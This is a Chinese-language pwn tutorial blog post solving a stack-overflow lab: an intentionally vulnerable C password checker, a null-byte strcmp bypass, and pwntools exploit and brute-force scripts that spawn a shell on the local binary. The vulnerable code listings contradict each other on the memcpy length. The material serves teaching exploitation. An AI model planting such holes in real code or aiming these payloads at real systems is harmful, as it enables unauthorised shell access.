1069 字
5 分钟
Stack-1-2 Stack-overflow Lab

%%本节前置:Stack-1-1%%

在上一节中我们接触了我们PWN方向学习的第一个漏洞——栈溢出。体会了缓冲区溢出—栈溢出的一个基本思想:覆写Overwrite。借由Lab-s-1-1我们第一次完成了我们的二进制漏洞利用。本节我们将讲解上一节的作业:Lab-s-1-2,借此深入理解栈溢出的各种形式以及覆写思想的应用。

Source

#include <stdio.h>  
#include <stdlib.h>  
#include <string.h>  
  
  
  
int vertify(char *password)  
{  
   char* PASSWORD;  
   FILE* stream = fopen("/dev/urandom", "r");  
   fgets(PASSWORD, 64, stream);  
   char buf[7];  
   memcpy(buf, password, 0xc);  
   int authenitcated = strcmp(password, PASSWORD);       
   return authenitcated;  
}  
  
void main()  
{  
   int valid_flag = 0;  
   char password[1024];  
   scanf("%s", password);  
   valid_flag = vertify(password);  
   if(valid_flag == 0)  
   {  
       printf("Welcome to the system!\n");  
       system("/bin/sh");  
   }  
   else  
   {  
       printf("Invalid password!\n");  
   }  
   getchar();  
}

用下面的命令编译

gcc -no-pie -fno-stack-protector -z lazy Lab-s-1-2.c -o Lab-s-1-2

编译好后,我们来简单分析一下程序流程。

void main()  
{  
   int valid_flag = 0;  
   char password[1024];  
   scanf("%s", password);  
   valid_flag = vertify(password);  
   if(valid_flag == 0)  
   {  
       printf("Welcome to the system!\n");  
       system("/bin/sh");  
   }  
   else  
   {  
       printf("Invalid password!\n");  
   }  
   getchar();  
}

main函数中

  • 定义两个变量valid_flag用于检查密码正确性;passwordscanf读入的缓冲区变量。
  • 调用scanfpassword中读入数据
  • vertify的返回值赋予valid_flag
  • 检查valid_flag,不为0输出不合法,为0则调用shell
int vertify(char *password)  
{  
   char* PASSWORD;  
   FILE* stream = fopen("/dev/urandom", "r");  
   fgets(PASSWORD, 64, stream);  
   char buf[7];  
   memcpy(buf, password, 1024);  
   int authenitcated = strcmp(password, PASSWORD);       
   return authenitcated;  
}  

vertify函数中

  • 传入password变量
  • 定义了一个用于比对的PASSWORD
  • 定义了一个文件流用于把生成的随机数用fgets放入PASSWORD

/dev/urandom是一个伪随机数生成器,内置一个熵池用于记录当前设备的熵,再根据其生成随机数种子。可以近似看作真随机数

  • 定义缓冲区变量buf
  • password中的数据复制到buf上,不检查长度
  • strcmp比对两数据的返回值传入authenitcated再返回。

很明显的,在

memcpy(buf, password, 0xc);

存在栈溢出漏洞。我们读入的password足足有0xc长,远比buf要大。根据我们在Lab-s-1-1中的解题思路。只需要栈溢出覆写PASSWORDpassword的相同内容即可。问题来了,我们要如何构造Payload使得PASSWORDpassword相同呢?似乎是不可能的。栈溢出覆写的PASSWORDpassword的一部分,看起来我们无论怎样构造字符串都不能使得PASSWORDpassword相同。

在这里我们要了解到一个小知识点。

有以下示例

#include <stdio.h>
#include <string.h>

int main()
{
	char *a = "\x00\x11\x22";
	char *b = "\x00\x12\x23";
	int c;
	c = strcmp(a,b);
	printf("%d", c);
	return 0;
}

编译后执行结果

 ./test  
0

到这里你可能已经猜到了。

在我们定义的变量中ab显然是两个不同的字符串,为什么strcmp会返回0认为它们相同呢?这是因为strcmp在比较字符串时,遇到\x00会截断字符串,不会再比较后续的内容。利用这个特性,我们可以让passwordPASSWORDstrcmp判定为相等。哪怕它们实际上并不相等。

于是我们可以构造出Payload

payload = b'\x00' + cyclic(0xb) + b'\x00'

或全部覆盖为\x00也可

payload = b'\x00' * (0x1b - 0x10)

具体的栈结构在IDA中如下

-000000000000001B dest db 7 dup(?)                        ; buf
-0000000000000014 var_14 dd ?
-0000000000000010 s dq ?                                  ; authenitcated
-0000000000000008 stream dq ?                             ; offset
+0000000000000000  s db 8 dup(?)
+0000000000000008  r db 8 dup(?)

那么我们可以给出本实验的EXP如下

from pwn import *
io = process("./Lab-s-1-2")
payload = b'\x00' * (0x1b - 0x10)
io.sendline(payload)
io.interactive()

结果

python Exp-lab-s-1-2.py  
[+] Starting local process './Lab-s-1-2': pid 92870  
[*] Switching to interactive mode  
Welcome to the system!  
$ ls  
Exp-Lab-s-1-1.py  Lab-s-1-1    Lab-s-1-2    Ponce.cfg  test.c  
Exp-lab-s-1-2.py  Lab-s-1-1.c  Lab-s-1-2.c  test

实际上,本实验不需要使用栈溢出漏洞也能绕过检测。还是我们刚刚提到的strcmp的特性。我们知道urandom会生产一串随机数,那么我们只需要随机到一种PASSWORD\x00开头即可。我们可以用脚本来爆破这种情况。

from pwn import *  
  
while True:  
   io = process("./Lab-s-1-2")  
   payload = b'\x00'  
   io.sendline(payload)  
   check = io.recvline()  
   if b"Invalid password!" not in check:  
       io.interactive()  
       break  
   else:  
       io.close()

结果:

 python Exp-lab-s-1-2.py  
[+] Starting local process './Lab-s-1-2': pid 95041  
[*] Process './Lab-s-1-2' stopped with exit code 10 (pid 95041)  
[+] Starting local process './Lab-s-1-2': pid 95043  
[*] Process './Lab-s-1-2' stopped with exit code 10 (pid 95043)  
[+] Starting local process './Lab-s-1-2': pid 95045  
[*] Switching to interactive mode  
$ ls  
Exp-Lab-s-1-1.py  Lab-s-1-1    Lab-s-1-2    Ponce.cfg  test.c  
Exp-lab-s-1-2.py  Lab-s-1-1.c  Lab-s-1-2.c  test  
$
Stack-1-2 Stack-overflow Lab
https://k4per-blog.xyz/posts/stack-1-2-stack-overflow-lab/
作者
K4per
发布于
2025-03-30
许可协议
CC BY-NC-SA 4.0